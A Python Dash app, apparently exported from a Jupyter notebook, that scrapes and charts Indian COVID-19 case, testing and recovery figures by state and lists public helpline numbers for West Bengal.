+{"seq_id":"269911838","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\npd.options.display.max_columns= None\npd.options.display.max_rows= None\nfrom datetime import date \n\n# Scraping\nimport requests \nfrom bs4 import BeautifulSoup \nimport numpy as np \n\n# Dashboarding\nimport dash\nimport plotly.graph_objects as go\nimport plotly.express as px\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_daq as daq\nfrom dash.dependencies import Input, Output\nfrom plotly.subplots import make_subplots\n\n\n# In[2]:\n\n\nextract_contents = lambda row: [x.text.replace('\\n', '') for x in row] \ngovt = 'https://www.mohfw.gov.in/'\n\nresponse = requests.get(govt).content \nsoup = BeautifulSoup(response, 'html.parser') \n\nstats = [] \nall_rows = soup.find_all('tr') \n\nfor row in all_rows:\n    stat= extract_contents(row.find_all('td'))\n    print(stat)\n    if len(stat)>=5:\n        stats.append(stat)\n\n\n# In[3]:\n\n\nheaders= ['Sno', 'State', 'Active',  'Recovery', 'Death', 'Confirmed']\n\n\n# In[4]:\n\n\ndf= pd.DataFrame(stats, columns= headers).set_index('State')\ndf.drop(['Sno'], axis= 1, inplace= True)\ndf= df.replace({'#': ''}, regex=True)\ndf= df.replace({'*': ''})\n#df= df.astype(int)\n\n\n# In[5]:\n\n\nn= len(df) - 1\nc= df['Confirmed'].tail(1)[0]\nd= df['Death'].tail(1)[0]\nr= df['Recovery'].tail(1)[0]\n\n\n# In[6]:\n\n\ndf.rename({'Total#': 'India'}, axis='index', inplace= True)\n#df.drop(['Cases being reassigned to states'], inplace= True)\ndf= df.astype(int)\ndf_a= df.drop(['India']).sort_values(['Confirmed'])\ndf_d= df.drop(['India']).sort_values(['Confirmed'], ascending= False)\n\n\n# In[7]:\n\n\nhnames= []\nhnames.append({'label': 'WB helpline 1', 'value': 'wb1'})\nhnames.append({'label': 'WB helpline 2', 'value': 'wb2'})\nhnames.append({'label': 'Beliaghata ID', 'value': 'id'})\nhnames.append({'label': 'PG Hospital', 'value': 'pg'})\nhnames.append({'label': 'R G Kar', 'value': 'rg'})\n\n\n# In[8]:\n\n\nhphone= []\nhphone.append({'label': 'wb1', 'value': '033-24312600'})\nhphone.append({'label': 'wb2', 'value': '1800313444222'})\nhphone.append({'label': 'id', 'value': '033-23032200'})\nhphone.append({'label': 'pg', 'value': '033-22041101'})\nhphone.append({'label': 'rg', 'value': '033-25557656'})\nhphone.append({'label': 'nb', 'value': '0353 258 5478'})\n\n\n# In[9]:\n\n\nhloc= []\nhloc.append({'label': 'wb1', 'value': 'None'})\nhloc.append({'label': 'wb2', 'value': 'None'})\nhloc.append({'label': 'id', 'value': 'Phoolbagan, Kolkata 700010'})\nhloc.append({'label': 'pg', 'value': 'AJC Bose Rd, Kolkata 700020'})\nhloc.append({'label': 'rg', 'value': 'KB Sarani, Kolkata 700004'})\nhloc.append({'label': 'nb', 'value': 'Sushruta Nagar, Siliguri 734012'})\n\n\n# In[10]:\n\n\nheading1= 'COVID-19 @ INDIA'\nhelpp= '+91-11-23978046, 1075'\nid_help= ' ID: 033-23032200'\nrg_help= ' RG Kar: 033-25557656'\npg_help= ' PG: 033-22041101'\nwb_help= ' WB Helpline: 033-24312600'\nnb_help= ' NBMC: 0353 258 5478'\n\n\n# In[11]:\n\n\nst_ab= {\n    'AP': 'Andhra Pradesh',\n    'AR': 'Arunachal Pradesh',\n    'AS': 'Assam',\n    'BR': 'Bihar',\n    'CG': 'Chhattisgarh',\n    'GA': 'Goa',\n    'GJ': 'Gujarat',\n    'HR': 'Haryana',\n    'HP': 'Himachal Pradesh',\n    'JK': 'Jammu and Kashmir',\n    'JH': 'Jharkhand',\n    'KA': 'Karnataka',\n    'KL': 'Kerala',\n    'MP': 'Madhya Pradesh',\n    'MH': 'Maharashtra',\n    'MN': 'Manipur',\n    'ML': 'Meghalaya',\n    'MZ': 'Mizoram',\n    'NL': 'Nagaland',\n    'OR': 'Orissa',\n    'PB': 'Punjab',\n    'RJ': 'Rajasthan',\n    'SK': 'Sikkim',\n    'TN': 'Tamil Nadu',\n    'TR': 'Tripura',\n    'UK': 'Uttarakhand',\n    'UP': 'Uttar Pradesh',\n    'WB': 'West Bengal',\n    'AN': 'Andaman and Nicobar Islands',\n    'CH': 'Chandigarh',\n    'DH': 'Dadra and Nagar Haveli',\n    'DD': 'Daman and Diu',\n    'DL': 'Delhi',\n    'LD': 'Lakshadweep',\n    'PY': 'Pondicherry',\n    'TG': 'Telengana',\n    'UT': 'Uttarakhand',\n    'LA': 'Ladakh',\n    'DN': 'Dadra and Nagar Haveli',\n}\n\n\n# In[12]:\n\n\nupdt= 'updated on ' + str(date.today())\nstates= []\nfor i in df.index.tolist():\n    states.append({'label': i, 'value': i})\n\n\n# In[13]:\n\n\nindiats= 'https://api.covid19india.org/csv/latest/case_time_series.csv'\nsw= 'https://api.covid19india.org/csv/latest/state_wise.csv'\nsw= pd.read_csv(sw)\ndsw= 'https://api.covid19india.org/csv/latest/state_wise_daily.csv'\ndsw= pd.read_csv(dsw, )\ndfts= pd.read_csv(indiats)\ndfts['Date']= dfts['Date'].str[0:6]\n#sw['Date']= sw['Date'].str[0:6]\ndsw['Date']= dsw['Date'].str[0:6].str.replace('-', ' ')\n#dsw['Date']\n\n\n# In[27]:\n\n\nstatewise_tested_numbers_data= 'https://api.covid19india.org/csv/latest/statewise_tested_numbers_data.csv'\nstnd= pd.read_csv(statewise_tested_numbers_data)\nstndd= stnd.groupby(['State']).last().reset_index()\n#stndd['Population NCP 2019 Projection'].replace({',': ''}, regex= True, inplace= True)\nstndd.set_index(['State'], inplace= True)\nstndd.loc['India', 'Total Tested']= stndd['Total Tested'].sum()\nstndd.loc['India', 'Positive']= stndd['Positive'].sum()\nstndd['Negative']= stndd['Negative'].str.strip('+')\nstndd['Negative']= stndd['Negative'].fillna(0).replace(' ', 0).astype(float, )\nstndd.loc['India', 'Negative']= stndd['Negative'].sum()\nstndd.loc['India', 'Unconfirmed']= stndd['Unconfirmed'].sum()\nstndd['Population NCP 2019 Projection']= stndd['Population NCP 2019 Projection'].dropna().astype(int)\nstndd.loc['India', 'Population NCP 2019 Projection']= stndd['Population NCP 2019 Projection'].sum()\nstndd.loc['India', 'Tests per thousand']= stndd['Tests per thousand'].mean()\n\nstndd.loc['India', 'Test positivity rate']= round((stndd.loc['India', 'Positive']/stndd.loc['India', 'Total Tested'])*100, 2)\nstndd.loc['India', 'Test positivity rate']= str(stndd.loc['India', 'Test positivity rate']) + '%'\n\n\n# In[28]:\n\n\ntnid= 'https://api.covid19india.org/csv/latest/tested_numbers_icmr_data.csv'\ntnidf= pd.read_csv(tnid)\n\n\n# In[29]:\n\n\ndates= []\nfor i, j in enumerate(dfts['Date'].tolist()):\n    dates.append({'label': j, 'value': i})\n#############################################################################    \ndef get_cts(dt1, dt2):\n    df= dfts[dfts.index.to_series().between(dt1, dt2)]\n    cnfrm= go.Scatter(x= df['Date'], y= df['Total Confirmed'], line= {'color': 'rgb(0, 74, 140)'},\n                  mode= 'lines+markers', name= 'Confirmed')\n    rcvr= go.Scatter(x= df['Date'], y= df['Total Recovered'], line= {'color': 'rgb(0, 74, 140)'},\n                 mode= 'lines+markers', name= 'Recovered')\n    dth= go.Scatter(x= df['Date'], y= df['Total Deceased'], line= {'color': 'rgb(0, 74, 140)'},\n                mode= 'lines+markers', name= 'Deceased')\n\n    fig = make_subplots(rows=3, cols=1, shared_xaxes=True, vertical_spacing=0.03,\n                       row_titles=(\"Confirmed\", \"Recovered\", \"Deceased\"))\n    fig.append_trace(cnfrm, 1, 1)\n    fig.append_trace(rcvr, 2, 1)\n    fig.append_trace(dth, 3, 1)\n    fig.update_xaxes(dtick= 7)\n    fig.update_layout(plot_bgcolor= 'rgba(0,0,0,0)', margin= {'t':0, 'b':0, 'l':0, 'r':50},\n                      hovermode= 'closest', hoverdistance= 50000, \n                      showlegend= False, height=350, paper_bgcolor='rgba(0,0,0,0)')\n    \n    return fig\n#############################################################################    \ndef get_dts(dt1, dt2):\n    df= dfts[dfts.index.to_series().between(dt1, dt2)]\n    cnfrm= go.Bar(x= df['Date'], y= df['Daily Confirmed'], name= 'Confirmed',\n                  text= df['Daily Confirmed'], textposition='auto',\n                  marker= {'color': 'rgba(0, 74, 140, 0.4)',\n                           'line': {'color': 'rgba(0, 74, 140, 1)', 'width': 2}})\n    rcvr= go.Bar(x= df['Date'], y= df['Daily Recovered'], name= 'Recovered',\n                text= df['Daily Recovered'], textposition='auto',\n                marker= {'color': 'rgba(0, 74, 140, 0.4)',\n                           'line': {'color': 'rgba(0, 74, 140, 1)', 'width': 2}})\n    dth= go.Bar(x= df['Date'], y= df['Daily Deceased'], name= 'Deceased',\n               text= df['Daily Deceased'], textposition='auto',\n               marker= {'color': 'rgba(0, 74, 140, 0.4)',\n                           'line': {'color': 'rgba(0, 74, 140, 1)', 'width': 2}})\n\n    fig = make_subplots(rows=3, cols=1, shared_xaxes=True, vertical_spacing=0.03,\n                       row_titles=(\"Confirmed\", \"Recovered\", \"Deceased\"))\n    fig.append_trace(cnfrm, 1, 1)\n    fig.append_trace(rcvr, 2, 1)\n    fig.append_trace(dth, 3, 1)\n    fig.update_layout(plot_bgcolor= 'rgba(0,0,0,0)', margin= {'t':0, 'b':0, 'l':0, 'r':50},   \n                      showlegend= False, height=350, paper_bgcolor='rgba(0,0,0,0)',\n                      \n                      \n                     )\n\n    \n    return fig\n\n\n# In[30]:\n\n\nnos= []\nfor i in [3, 5, 7, 10]:\n    nos.append({'label': i, 'value': i})\n#############################################################################\ntb= []\ntb.append({'label': 'Top', 'value': 'Top'})\ntb.append({'label': 'Bottom', 'value': 'Bottom'})\n#############################################################################\nlegend_pos= {'x': 0, 'y': 0.7, 'traceorder': 'normal'}\n############################################################################# \ndef form_bar(tb, sn):\n    if tb=='Top':\n        temp= df_a\n    else:\n        temp= df_d\n    figb1= go.Figure(data= [go.Bar(x= temp.iloc[-sn:]['Confirmed'], y= temp.iloc[-sn:].index,\n                                 orientation= 'h', width= 0.3, name= 'Confirmed',\n                                 text= temp.iloc[-sn:]['Confirmed'], textposition='auto',\n                                 marker= {'color': 'rgba(0, 74, 140, 0.4)',\n                                         'line': {'color': 'rgba(0, 74, 140, 1)', 'width': 2}},\n                                  ),\n                            go.Bar(x= temp.iloc[-sn:]['Recovery'], y= temp.iloc[-sn:].index,\n                                   orientation= 'h', width= 0.4, name= 'Recovered',\n                                   text= temp.iloc[-sn:]['Recovery'], textposition='auto',\n                                   marker= {'color': 'rgba(0, 74, 140, 0.7)',\n                                           'line': {'color': 'rgba(0, 74, 140, 1)', 'width': 2}},\n                                  ),\n                            go.Bar(x= temp.iloc[-sn:]['Death'], y= temp.iloc[-sn:].index,\n                                   orientation= 'h', width= 0.5, name= 'Deceased',\n                                   text= temp.iloc[-sn:]['Death'], textposition='auto',\n                                   marker= {'color': 'rgba(0, 74, 140, 1)',\n                                           'line': {'color': 'rgba(0, 74, 140, 1)', 'width': 2}}),\n                            ],\n                    layout= go.Layout(yaxis= {'dtick': 1, 'showgrid': False}, paper_bgcolor='rgba(0,0,0,0)',\n                                      barmode= 'stack', plot_bgcolor='rgba(0,0,0,0)', \n                                      xaxis =  {'showgrid': True, 'gridcolor': 'rgba(0, 74, 140, 0.5)'},\n    ))\n    figb1.update_layout(margin= dict(t=0, b=0, l=0, r=50), legend= dict(x= 0.5, y= 0.5, traceorder= 'normal'),\n                        legend_orientation=\"h\", height=350,)\n    return figb1\n#fig.update_layout(barmode='stack')\n\n\n# In[31]:\n\n\n################################ Tab styling ################################\ntabs_style = {'height': '44px'}\ntab_style = {'padding': '8px', 'color': 'rgb(0, 74, 140)', 'fontFamily': 'Helvetica'}\ntab_selected_style = {\n    'borderTop': '2px solid #004a8c',\n    'borderBottom': '2px solid #004a8c',\n    'backgroundColor': 'rgba(0,74,140, 1)',\n    'color': 'rgb(255, 255, 255)',\n    'padding': '8px',\n    'fontWeight': 'bold',\n    'fontFamily': 'Helvetica',\n    'border-radius': '5px'\n}\n\n\n# In[32]:\n\n\ndf= df.replace('', 0)\ndf= df.astype(float)\n\n\n# In[33]:\n\n\ndf\n\n\n# In[ ]:\n\n\napp = dash.Dash(__name__, external_stylesheets=[dbc.themes.BOOTSTRAP],\n               meta_tags= [{'name': 'viewport',\n                            'content': 'width=device-width, initial-scale=1'}])\napp.title = 'COVID-19@INDIA'\nserver= app.server\n##################################################################################\n##################################################################################\napp.layout= html.Div([\n    \n    html.Div([\n        ##########################################################################\n        ###################### temp header ######################\n        ##########################################################################\n        html.Div([\n            html.H3(html.B(['COVID-19'], style= {'color': '#fff'})),\n            dcc.Dropdown(id= 'state', options= states, clearable= False,\n                        value= states[n-1]['value'], optionHeight= 50),\n            \n        ], className='d-none d-sm-block', style= {'width': '16%', 'display': 'inline-block',\n                   'text-align': 'left', 'color': '#000', 'padding-left': '2%'}),\n        html.Div([\n            html.H3(html.B('COVID-19@INDIA'))\n        ], className= 'col-12 d-block d-sm-none', style= {'display': 'inline-block',\n                   'text-align': 'right', 'color': '#fff'}),\n        ##########################################################################\n        html.Div([\n            html.H3(html.B(id= 'cnfr')),\n            html.H5('confirmed')\n        ], className='col-md-2 col-6 d-block d-sm-none', style= {'display': 'inline-block',\n                   'text-align': 'left', 'color': '#fff'}),\n        html.Div([\n            html.H3(html.B(id= 'cnfrm')),\n            html.H5('confirmed')\n        ], className='d-none d-sm-block', style= {'width': '11%', 'display': 'inline-block',\n                   'text-align': 'right', 'color': '#fff'}),\n        ##########################################################################\n        html.Div([\n            html.H3(html.B(r)),\n            html.H5('recovered')\n        ], className='col-md-2 col-6 d-block d-sm-none', style= {'display': 'inline-block',\n                   'text-align': 'right', 'color': '#fff'}),\n        html.Div([\n            html.H3(html.B(id= 'rcvr')),\n            html.H5('recovered')\n        ], className='d-none d-sm-block', style= {'width': '12%', 'display': 'inline-block',\n                   'text-align': 'right', 'color': '#fff'}),\n        ##########################################################################\n        html.Div([\n            html.H3(html.B(id= 'dth1')),\n            html.H5('deceased')\n        ], className='col-md-2 col-6 d-block d-sm-none', style= {'display': 'inline-block',\n                   'text-align': 'left', 'color': '#fff'}),\n        html.Div([\n            html.H3(html.B(id= 'dth')),\n            html.H5('deceased')\n        ], className='d-none d-sm-block', style= {'width': '12%', 'display': 'inline-block',\n                   'text-align': 'right', 'color': '#fff'}),\n        ##########################################################################\n        html.Div([\n            html.H3(html.B(n)),            \n            html.H5('states')\n        ], className='col-md-2 col-6 d-block d-sm-none', style= {'display': 'inline-block',\n                   'text-align': 'right', 'color': '#fff'}),\n        html.Div([\n            html.H3(html.B(id= 'stts')),            \n            html.H5(id= 'stt')\n        ], className='d-none d-sm-block', style= {'width': '8%', 'display': 'inline-block',\n                   'text-align': 'right', 'color': '#fff'}),\n        ##########################################################################        \n        html.Div([\n            html.Div([\n                dcc.Dropdown(id= 'helpdd1', options= hnames, clearable= False,\n                             value= hnames[0]['value'], )\n            ], style= {'width': '45%', 'display': 'inline-block', 'padding-bottom': '2%',\n                      'color': '#000'}),\n            html.Div([                \n                html.H3(html.B(id= 'hname1', className= 'd-none d-sm-block')),\n                html.H6(updt),\n            ], style= {'width': '55%', 'padding-left': '6%',\n                       'display': 'inline-block', 'text-align': 'left'})\n        ], className='d-none d-sm-block', style= {'width': '40%', 'display': 'inline-block', 'padding-left': '2%',\n                   'text-align': 'left', 'color': '#fff'}),\n        html.Div([\n            html.Div([dcc.Dropdown(id= 'helpdd2', options= hnames, \n                                   value= hnames[0]['value'], clearable= False)],\n                     className='col-6 d-block d-sm-none',\n                style= {'display': 'flex', 'align-items': 'right',\n                        'justify-content': 'right', 'display': 'inline-block'}),\n            html.Div([html.H3(html.B(id= 'hname2'))], className='col-md-2 col-6 d-block d-sm-none',\n                style= {'display': 'inline-block',\n                   'text-align': 'right', 'color': '#fff'})           \n        ], className= 'row', style= {'padding-left': '5%', 'text-align': 'right', 'color': 'rgb(0, 74, 140)'}),\n    ], className= 'navbar navbar-dark',\n        style= {'padding-left': '3%', 'width': '100%', 'padding-top': '1%',\n               'background': 'rgb(0, 74, 140)'}),   \n    ########################## Header ends here ##########################\n    html.Div([\n        html.Div([\n            \n            dcc.Tabs(value='tab3', children=[     \n                \n                dcc.Tab(label= 'stats', value= 'tab3', children= [\n                    html.Div([\n                        html.Iframe(id= 'smap', height= '420', width= '100%',\n                                    style= {'border': 'None'})\n                    ], style= {'width': '43%', 'display': 'inline-block',\n                              'padding-top': '1%'}),\n                    html.Div([], style= {'width': '2%', 'display': 'inline-block',\n                                         'padding-top': '1%'}),\n                    html.Div([                        \n                        html.Div([\n                            html.Div([\n                                html.H2(html.B(id= 'pop'), style= {}),\n                                html.H6('population')\n                            ], className= 'rounded-lg',\n                                style= {'width': '25%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),\n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),\n                            html.Div([\n                                html.H2(html.B(id= 'cp'), style= {}),\n                                html.H6('confirmed %')\n                            ], className= 'rounded-lg',\n                                style= {'width': '25%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),\n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),\n                            html.Div([\n                                html.H2(html.B(id= 'rp'), style= {}),\n                                html.H6('recovered %')\n                            ], className= 'rounded-lg',\n                                style= {'width': '24%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),\n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),\n                            html.Div([\n                                html.H2(html.B(id= 'dp')),\n                                html.H6('death %')\n                            ], className= 'rounded-lg',\n                                style= {'width': '23%', 'display': 'inline-block',\n                                        'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),      \n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),                            \n                        ], style= {'width': '100%'}),\n                        \n                        html.Div([\n                            html.Div([\n                                html.H2(html.B(id= 'tes')),\n                                html.H6('total tested')\n                            ], className= 'rounded-lg',\n                                style= {'width': '25%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),     \n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),\n                            html.Div([\n                                html.H2(html.B(id= 'neg')),\n                                html.H6('tested negative')\n                            ], className= 'rounded-lg',\n                                style= {'width': '25%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),                            \n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),\n                            html.Div([\n                                html.H2(html.B(id= 'pos')),\n                                html.H6('tested positive')\n                            ], className= 'rounded-lg',\n                                style= {'width': '24%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),\n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),\n                            html.Div([\n                                html.H2(html.B(id= 'uncn')),\n                                html.H6('unconfirmed')\n                            ], className= 'rounded-lg',\n                                style= {'width': '23%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),\n                            \n                        ], style= {'width': '100%',}),\n                        \n                        html.Div([\n                            \n                            html.Div([\n                                html.H2(html.B('19023')),\n                                html.H6('ventilators')\n                            ], className= 'rounded-lg',\n                                style= {'width': '25%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}), \n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),\n                            html.Div([\n                                html.H2(html.B(tnidf.tail(1)['Total Samples Tested'])),\n                                html.H6('samples tested')\n                            ], className= 'rounded-lg',\n                                style= {'width': '25%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),  \n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),           \n                            html.Div([\n                                html.H2(html.B(id= 'tpr')),\n                                html.H6('positivity rate')\n                            ], className= 'rounded-lg',\n                                style= {'width': '24%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),\n                            html.Div(style= {'width': '1%', 'display': 'inline-block'}),\n                            html.Div([\n                                html.H2(html.B(id= 'tpt')),\n                                html.H6('tests per 1000')\n                            ], className= 'rounded-lg',\n                                style= {'width': '23%', 'display': 'inline-block',\n                                       'text-align': 'right', 'background': 'rgb(0, 74, 140)',\n                                       'color': '#fff', 'padding-right': '1%'}),                            \n                            \n                             \n                                                        \n                        ], style= {'width': '100%', 'padding-top': '4%'}),                        \n                        html.Div([\n                            html.Div([\n                                html.H3(html.B('central helpline: +91-11-23978046'))\n                            ], style= {'width': '100%', 'display': 'inline-block',\n                                       'text-align': 'right',}),\n                            html.Div([\n                                html.H3(html.B('email helpline: ncov2019@gov.in'))\n                            ], style= {'width': '100%', 'display': 'inline-block',\n                                       'text-align': 'right',}),\n                            html.Div([\n                                html.H3(html.B('state helpline: 104'))\n                            ], style= {'width': '100%', 'display': 'inline-block',\n                                       'text-align': 'right',}),\n                        ], style= {'width': '100%', 'padding-top': '3%'})\n                        \n                    ], style= {'width': '55%', 'display': 'inline-block', 'align': 'justify',\n                              'padding-top': '1%', 'color': 'rgb(0, 74, 140)'})                    \n                ], style=tab_style, selected_style=tab_selected_style),\n                \n                \n                                \n                dcc.Tab(label='figures', value='tab1', children= [\n                    html.Div([\n                        html.Div([\n                            html.Div([\n                                html.Div([                \n                                dcc.Dropdown(id= 'tb', options= tb, value= 'Top',\n                                             clearable= False, style= {'width': '100%'})\n                                ], style= {'display': 'inline-block'}),\n                                html.Div([\n                                dcc.Dropdown(id= 'sn', options= nos, value= 3,\n                                             clearable= False, )\n                                ], style= {'display': 'inline-block'})\n                            ], style= {'display': 'inline-block', 'padding-left': '10%'}),  \n                            html.Div([html.H4('states affected',\n                                              style= {'padding-bottom': '3%', 'color': 'rgb(0, 74, 140)'})],\n                                     style= {'display': 'inline-block', 'padding-left': '3%'})\n                        ], style= {'padding-left': '25%'}),\n                        dcc.Graph(id= 'Bar1', config= {'displayModeBar': False})\n                    ], style= {'padding-top': '1%', 'width': '100%', \n                               'padding-left': '5%'},)\n                ], style=tab_style, selected_style=tab_selected_style),\n                \n                \n                \n                dcc.Tab(label='trends', value='tab2', children= [\n                    html.Div([\n                        html.Div([\n                            html.Div([                                \n                                html.Div([html.H4('epidemic curve between',\n                                              style= {'color': 'rgb(0, 74, 140)'})],\n                                     style= {'display': 'inline-block',\n                                             'padding-left': '3%'}),\n                                html.Div([   \n                                    dcc.Dropdown(id= 'dt1', options= dates,\n                                             value= dates[0]['value'], clearable= False)\n                                ], style= {'display': 'inline-block', 'padding-left': '2%',\n                                          'width': '15%'}),\n                                html.Div([html.H4('and',\n                                              style= {'padding-bottom': '2%',\n                                                      'color': 'rgb(0, 74, 140)'})],\n                                     style= {'display': 'inline-block',\n                                             'padding-left': '2%'}),\n                                \n                                html.Div([\n                                dcc.Dropdown(id= 'dt2', options= dates,\n                                             value= dates[-1]['value'], clearable= False)\n                                ], style= {'display': 'inline-block', 'padding-left': '2%',\n                                          'width': '15%'}),\n                                \n                                html.Div([html.H4('(cumulative',\n                                              style= {'padding-bottom': '2%', 'padding-top': '2%',\n                                                      'color': 'rgb(0, 74, 140)'})],\n                                     style= {'display': 'inline-block',\n                                             'padding-left': '3%'}),\n                                \n                                html.Div([\n                                    daq.ToggleSwitch(id= 'ts', value= False, \n                                                     color=\"rgb(0, 74, 140)\", size= 40)\n                                ], style= {'display': 'inline-block', 'padding-left': '2%',\n                                          }),\n                                \n                                html.Div([html.H4('daily)',\n                                              style= {'padding-bottom': '2%',\n                                                      'color': 'rgb(0, 74, 140)'})],\n                                     style= {'display': 'inline-block',\n                                             'padding-left': '2%'}),\n                            ]),                              \n                        ], style= {'padding-left': '3%', }),\n                        dcc.Graph(id= 'Line1', config= {'displayModeBar': False})\n                    ], style= {'padding-top': '1%', 'width': '100%', 'padding-left': '3%'}, )\n                ], style=tab_style, selected_style=tab_selected_style),\n                \n            ], style= tabs_style,\n               colors={ 'border': 'rgba(0, 74, 140, 0)', 'primary': 'rgba(0, 74, 140, 1)',\n                       \"background\": \"rgba(0,0,0,0)\"},),\n        ]),       \n    ], style= {'width': '95%', 'padding-left': '5%', 'padding-top': '02%'})    \n], style= {'fontFamily': 'Helvetica', 'height': '100v', 'padding-bottom': '5%',\n           'background': 'linear-gradient(to bottom, rgba(99, 212, 230, 0) 0%, rgba(99, 212, 230, 1) 100%)'})\n##################################################################################\n@app.callback(Output('cnfrm', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return df.loc[val]['Confirmed']\n##########################################\n@app.callback(Output('cp', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return round((df.loc[val]['Confirmed']/stndd.loc[val]['Population NCP 2019 Projection'])*100, 5)\n##########################################\n@app.callback(Output('rp', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return round((df.loc[val]['Recovery']/df.loc[val]['Confirmed'])*100, 2)\n##########################################\n@app.callback(Output('rcvr', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return df.loc[val]['Recovery']\n##########################################\n@app.callback(Output('dp', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return round((df.loc[val]['Death']/df.loc[val]['Confirmed'])*100, 2)\n##########################################\n@app.callback(Output('dth', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return df.loc[val]['Death']\n##########################################\n##########################################\n@app.callback(Output('tes', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return stndd.loc[val]['Total Tested']\n##########################################\n@app.callback(Output('pos', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return stndd.loc[val]['Positive']\n##########################################\n@app.callback(Output('neg', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return stndd.loc[val]['Negative']\n##########################################\n@app.callback(Output('uncn', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return stndd.loc[val]['Unconfirmed']\n##########################################\n@app.callback(Output('pop', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    p= round(stndd.loc[val]['Population NCP 2019 Projection']/1000000000, 3)\n    p= str(p) + 'b'\n    return p\n##########################################\n##########################################\n@app.callback(Output('tpr', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return stndd.loc[val]['Test positivity rate']\n##########################################\n##########################################\n@app.callback(Output('tpt', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    return round(stndd.loc[val]['Tests per thousand'], 2)\n##########################################\n@app.callback(Output('stts', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    if val=='India':\n        return n\n    pos= '#' + str(df_d.index.get_loc(val) + 1)\n    return pos\n##########################################\n@app.callback(Output('stt', 'children'),\n             [Input('state', 'value')])\ndef get_confirm(val):\n    if val=='India':\n        return 'states'\n    return 'state'\n##########################################\n##########################################\n@app.callback(Output('hname1', 'children'),\n             [Input('helpdd1', 'value')])\ndef update_hname(val):\n    for i in range(len(hphone)):\n        if hphone[i]['label']==val:\n            return hphone[i]['value']  \n##########################################        \n@app.callback(Output('hname2', 'children'),\n             [Input('helpdd2', 'value')])\ndef update_hname(val):\n    for i in range(len(hphone)):\n        if hphone[i]['label']==val:\n            return hphone[i]['value']          \n##########################################\n#@app.callback(Output('hmail', 'children'),\n#             [Input('helpdd1', 'value')])\n#def update_hmail(val):\n#    for i in range(len(hloc)):\n#        if hloc[i]['label']==val:\n#            return hloc[i]['value']     \n##########################################\n@app.callback(Output('smap', 'srcDoc'),\n             [Input('state', 'value')])\ndef render_smap(state):\n    state= 'states/'+state+'.html'\n    return open(state, 'r').read()\n##########################################\n@app.callback(Output('Bar1', 'figure'),\n             [Input('tb', 'value'), Input('sn', 'value')])\ndef update_bar(tb, sn):\n    return form_bar(tb, sn)\n##########################################\n@app.callback(Output('Line1', 'figure'),\n             [Input('dt1', 'value'), Input('dt2', 'value'), Input('ts', 'value')])\ndef update_bar(dt1, dt2, ts):\n    if (ts):\n        return get_dts(dt1, dt2)\n    return get_cts(dt1, dt2)\n##################################################################################\nif __name__=='__main__':\n    app.run_server()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":36448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
